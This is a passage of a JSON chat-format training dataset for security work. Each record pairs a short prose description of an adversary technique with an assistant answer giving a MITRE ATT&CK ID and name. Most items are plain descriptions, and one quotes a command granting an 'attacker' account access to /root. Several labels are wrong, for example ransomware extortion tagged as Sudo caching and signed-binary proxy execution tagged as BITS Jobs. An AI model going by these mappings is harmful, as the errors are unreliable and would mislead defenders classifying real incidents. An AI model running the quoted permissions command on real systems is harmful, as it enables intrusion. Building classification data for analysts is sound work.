            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a Linux binary by tampering with its VDSO, enabling them to execute arbitrary code inside the process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the attacker overloads the target's Bluetooth stack, rendering the device inoperable."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection replaces the default callback routines in the KernelCallbackTable, allowing the adversary to execute code during driver operations."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a line to the default logon script that invokes a WMI command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary created a new SQL stored procedure that runs a PowerShell payload each time the database is accessed to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that searches for .pst files across network shares and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion replaces the binary at /sbin/auditctl with a wrapper that suppresses all audit events."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured ACL to grant themselves read/write access to the root home directory by executing \"setfacl -m u:attacker:rw /root\" on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtained a legitimate third‑party contractor’s SSH key and used it to establish a foothold on the victim’s servers."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs the 'WinRAR' command‑line interface to archive sensitive files before uploading them via FTP."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary enumerates /proc entries and extracts the command‑line arguments of processes that may include passwords or tokens."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by embedding it in DNS queries sent to a non‑C2 domain over an unencrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invoked msiexec.exe with the /quiet and /i switches to silently install a malicious MSI package, using it as a proxy for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor extracts employee names from PDF annual reports that include staff acknowledgment sections."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary copies sensitive data from the local file system to a hidden directory before uploading."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates UNC paths by calling WNetEnumResource to find shared resources."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes signed binaries to proxy execution and bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accessed the Azure Key Vault configuration metadata to enumerate secret identifiers for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged ZMap to rapidly scan the entire 100.64.0.0/10 address space for active servers."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool waits for a sequence of user‑generated events such as mouse scrolls and window focus changes before it begins data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a specially crafted SOAP request to exploit a deserialization vulnerability in a publicly accessible service, achieving system compromise."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a multi‑hop SOCKS proxy network that tunnels C2 traffic through three separate compromised hosts before reaching the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a token manipulation attack by stealing an administrator’s logon token and reassigning it to a malicious process."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers register a rogue COM server under HKCU\\Software\\Classes\\CLSID to persist and execute payloads when a legitimate application enumerates COM classes."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the dbo.sp_configure stored procedure, the attacker escalates privileges and disables security logging."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a misconfigured S3 bucket to upload a custom exploitation framework onto the target cloud instance."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses junk data in DNS queries to mask the true purpose of the domain lookup."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the resource fork feature to embed a concealed payload in a .rtf document, bypassing typical file content scans."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses configuration settings in the Windows Credential Manager to gather saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a hidden executable in a USB drive’s autorun.inf file, causing the malware to copy itself to the host machine each time the drive is accessed."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell’s Get-ChildItem to recursively list files and directories in the user’s Documents folder."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a valid employee's password hash and authenticates via SSH to a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads stored Wi‑Fi profiles on the victim machine to harvest clear‑text network passwords."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a victim's internal certificate authority to issue a certificate that grants elevated privileges to malicious software."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised third‑party vendor's email address to send a link that points to a credential‑stealing site."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes the Control Panel's msconfig.exe to execute a PowerShell script, demonstrating system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply‑chain attack, the attacker bundles a malicious root certificate with legitimate software, tricking users into installing it and granting the attacker TLS decryption capabilities."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan converts command outputs into QR code images, effectively encoding the data visually for covert exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting a ransomware attack to extort money from the victim"
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a SSH hijack by exploiting a vulnerable SSH client that accepts unauthorized host keys, allowing them to take over the session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Google dorking to locate publicly available configuration files related to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a CI/CD pipeline to automatically sync stolen documents to a secure Azure DevOps repository for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a broad Nmap sweep across the 192.168.0.0/16 subnet to identify live hosts and open ports."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s toolkit includes a function that performs in‑memory PE reconstruction and execution, characteristic of reflective code loading."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a secondary C2 server over DNS queries to maintain control if the primary HTTP channel is blocked."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors call the libzip library from C to create a compressed archive of stolen data."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker queries public WHOIS databases to discover the owner and registrar of a victim's website."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a Secure WebSocket (WSS) connection to a remote host, ensuring all data is encrypted in transit."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies an installer’s InstallExecuteSequence to run a malicious executable before completing the installation."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample is analyzed that uses kernel-mode rootkits to hide its presence from system administrators and security software."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor parses bash history entries to capture credentials entered via the command line."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the boot sequence by poisoning DNS records, causing the system to fetch a malicious boot image from a rogue TFTP server at startup."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage framework uses a mathematical series to produce domain labels, then issues DNS queries to fetch the next payload."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses DNS server configuration to create covert channels for command and control."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers recover expired but still trusted certificates from a public repository and reuse them to sign malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a compromised Azure AD credential to move data into a private Azure Blob storage container."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary embeds a DLL inside the comment section of an HTML file, which is later loaded by a browser exploit."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the server, the threat actor uses the AWS CLI to sync compromised data to an S3 bucket they control."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool modifies the context of an existing thread with SetThreadContext and then resumes it, resulting in execution of injected malicious instructions."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a legitimate web service API to disguise traffic, exchanging data and commands bidirectionally between the compromised system and the remote server."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a new Telegram bot account to receive exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the AWS Organizations API to list all member accounts and their associated users."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware group hijacks a currently logged‑in Telnet session to deploy payloads."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs the DCSync method to impersonate a domain controller and retrieve the password hashes of high‑privilege accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified the firewall rules in a Google Cloud VPC to permit unauthorized inbound traffic from malicious IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the installed OS with an earlier build, allowing previously mitigated exploits to work again."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email pretended to be a verification request from Reddit, prompting users to submit their credentials to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the event viewer's COM object, the adversary triggers an elevated process launch that sidesteps the UAC prompt."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code hooks API calls in memory, adjusting returned values to manipulate the program's logic."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised mobile application uses privilege escalation to escape its container and execute code on the user's laptop."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser plugin exploits the content script environment to execute PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the manufacturing of IoT devices, a rogue insider installs a hidden backdoor in the device’s bootloader, which later provides persistent access."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces legitimate KernelCallbackTable callbacks with malicious functions to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a backdoor in the web application framework to replace the site’s About Us page with misleading information."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group takes advantage of a buffer overflow in a core system service to gain elevated privileges and hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker leverages LDAP to create a domain account with elevated privileges and disables logging for it."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
